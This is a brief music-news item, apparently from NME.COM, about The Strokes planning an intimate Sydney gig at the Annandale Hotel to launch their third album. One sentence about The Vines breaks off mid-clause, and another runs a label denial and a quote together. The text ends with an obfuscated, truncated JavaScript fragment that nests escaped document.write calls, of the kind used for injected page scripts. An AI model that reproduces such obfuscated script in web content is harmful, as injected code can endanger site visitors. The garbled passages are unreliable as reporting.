The Strokes to launch new album down under

The Strokes will launch their new album with an intimate gig in Sydney next month, according to reports in an Australian newspaper.

The Daily Telegraph says frontman Julian Casablancas has confirmed the band will be playing a one-off show Down Under to launch 'First Impressions Of Earth', their third album, currently due for release early in the new year.

It is believed the gig will take place in the last week of November at the 450-capacity Annandale Hotel, which has previously hosted secret shows by bands including Jet - and was also the scene of The Vines' onstage meltdown last year, when frontman Craig Nicholls.

A representative from the band's Australian label, Sony/BMG, told NME.COM they currently have nothing confirmed for the band to come to Australia, The Daily Telegraph quoted Casablancas as saying, "We're not really going to play all our new stuff because the album won't be out yet - maybe we'll do half. I think we are going to be playing a small bar. It's all still being worked out."

The band has a close association with Australia, having first played there as supports for local rockers You Am I in 2001 before the release of debut album 'Is This It'.

The Strokes' most recent Antipodean tour was in conjunction with the Big Day Out Festival in 2004.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22